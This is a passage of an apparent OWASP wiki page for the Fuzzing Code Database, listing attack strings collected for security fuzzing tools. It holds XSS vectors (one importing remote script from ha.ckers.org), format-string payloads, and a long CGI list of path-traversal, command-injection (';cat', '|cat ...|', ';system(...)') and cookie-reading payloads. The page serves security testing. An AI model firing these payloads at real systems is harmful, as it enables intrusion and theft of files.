SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80074 2010-03-17T21:07:48Z

<p>Adam.muntner: /* Vulnerable Cross-Platform CGI (7 March 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (7 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> 